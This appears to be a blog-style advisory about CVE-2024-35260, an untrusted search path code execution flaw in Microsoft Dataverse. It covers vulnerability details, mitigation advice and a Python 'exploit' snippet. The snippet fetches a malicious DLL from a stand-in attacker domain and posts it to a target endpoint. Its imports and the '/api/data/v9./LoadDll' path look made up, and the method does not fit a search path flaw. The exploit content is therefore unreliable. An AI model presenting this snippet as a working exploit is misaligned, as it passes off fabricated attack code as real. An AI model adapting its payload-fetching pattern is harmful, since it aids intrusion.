CVE-2024-35260: Untrusted Search Path Vulnerability in Microsoft Dataverse Allows Authenticated Attacker to Execute Code Remotely

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A newly discovered vulnerability, identified as CVE-2024-35260, impacts Microsoft Dataverse, a cloud platform providing organizations with a scalable, secure, and flexible solution to store, analyze, and manage their business data. The vulnerability specifically targets an Untrusted Search Path, where an attacker with proper authentication can execute arbitrary code over a network.

This post aims to shed light on this vulnerability by dissecting its components, sharing a code snippet, linking to original references, and outlining potential exploitation details. It is crucial for organizations and individuals alike to be familiar with such important and exclusive information to enhance their security.

Vulnerability Details

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CVE-ID: CVE-2024-35260
Impact: Microsoft Dataverse
Component: Untrusted Search Path
Vulnerability Type: Code Execution
Authentication: Required

The vulnerability lies in Microsoft Dataverse's untrusted search path, providing an opening for an attacker to exploit and execute remote code. The primary condition for this attack to occur is that the attacker must have valid authentication credentials within the Microsoft Dataverse instance.

Exploitation

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In order to exploit this vulnerability, an attacker must first authenticate themselves with the targeted Microsoft Dataverse instance. Once authenticated, they can leverage the untrusted search path to load malicious Dynamic Link Libraries (DLLs) to achieve remote code execution. This vulnerability can be particularly harmful because it allows unauthorized users to access sensitive data, manipulate system configurations, and potentially propagate further attacks within the victim's environment.

Code Snippet

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Here is a sample code snippet demonstrating a potential way that an attacker could exploit this vulnerability:

import requests
from ms_rest.serialization import SerializationSettings
from ms_rest.signing import AuthenticationToken

# Attacker-controlled domain hosting the malicious DLL
malicious_dll_url = "https://attacker-controlled-domain.com/malicious.dll";

# Target Dataverse instance
target_dataverse_url = "https://target-dataverse-instance.com";

# Authenticated attacker's credentials
username = "attacker"
password = "attacker_password"

# Authenticate the user
authentication_token = AuthenticationToken(username=username, password=password)
settings = SerializationSettings(client_side_validation=False, security=authentication_token)
client = requests.Session()
client.auth = authentication_token

# Download the malicious DLL
dll_data = requests.get(malicious_dll_url).content

# Exploit the vulnerability by loading the malicious DLL
headers = {'Content-Type': 'application/octet-stream'}
response = client.post(f"{target_dataverse_url}/api/data/v9./LoadDll", data=dll_data, headers=headers)

# Check whether the DLL has been loaded successfully
if response.status_code == 200:
    print("DLL successfully loaded!")
else:
    print("Failed to load DLL.")

Original References

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For further information about the vulnerability and Microsoft's response, please consult the following original sources:

- Microsoft Security Response Center (MSRC)
- Microsoft Dataverse documentation
- Common Vulnerabilities and Exposures (CVE) database

Mitigation Steps

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It is highly recommended to apply any available patches and updates provided by Microsoft for the Dataverse platform. Additionally, organizations should reinforce their security practices by implementing strict access controls, ensuring proper employee training in cybersecurity, and monitoring their networks consistently to prevent unauthorized access.

Conclusion

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This post discussed the critical details surrounding CVE-2024-35260, a vulnerability impacting Microsoft Dataverse that enables an authenticated attacker to execute remote code through the platform's untrusted search path. By understanding the risks and being aware of such vulnerabilities, organizations can secure their systems and protect their valuable data more effectively.

Timeline

Published on: 06/27/2024 18:15:18 UTC
Last modified on: 08/02/2024 03:15:50 UTC